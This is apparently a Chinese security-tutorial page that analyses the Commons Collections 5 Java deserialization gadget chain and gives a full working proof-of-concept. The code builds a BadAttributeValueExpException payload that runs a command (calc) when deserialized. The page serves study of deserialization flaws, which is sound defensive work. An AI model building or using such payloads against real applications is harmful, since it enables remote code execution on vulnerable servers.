返回介绍

3 CommonsCollections 5 Gadget 分析

发布于 2024-09-16 15:35:01 字数 5021 浏览 0 评论 0 收藏 0

CC5 的调用链:

->BadAttributeValueExpException.readObject()
      ->TiedMapEntry.toString()
          ->TiedMapEntry.getValue()
            ->LazyMap.get()
                ->ChainedTransformer.transform()
                    ->ConstantTransformer.transform()
                            ->InvokerTransformer.transform()
                                ->…………

这里又回到了去触发 LazyMap.get() ,只不过改变了 LazyMap.get() 的触发方式,不再借助 AnnotationInvocationHandler 的反序列化触发。

在 TiedMapEntry 类中:

public class TiedMapEntry implements Entry, KeyValue, Serializable {

    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    //构造函数,显然我们可以控制 this.map 为 LazyMap
    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    //toString 函数,注意这里调用了 getValue()
    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

    //跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
    public Object getValue() {
        return this.map.get(this.key);
    }

}

综上,通过 TiedMapEntry.toString() 可触发 LazyMap.get()

通过交叉引用搜索,是否存在一个类可以在反序列化过程中触发 TiedMapEntry.toString() ,最终找到了 BadAttributeValueExpException

public class BadAttributeValueExpException extends Exception   {
    private Object val;     //这里可以控制 val 为 TiedMapEntry

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();    //这里是关键点,调用 toString()
        } else {
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
}

最终实现代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        //Transformer 数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer 实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap 实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        //TiedMapEntry 实例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        //BadAttributeValueExpException 实例
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        //反射设置 val
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }
}

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文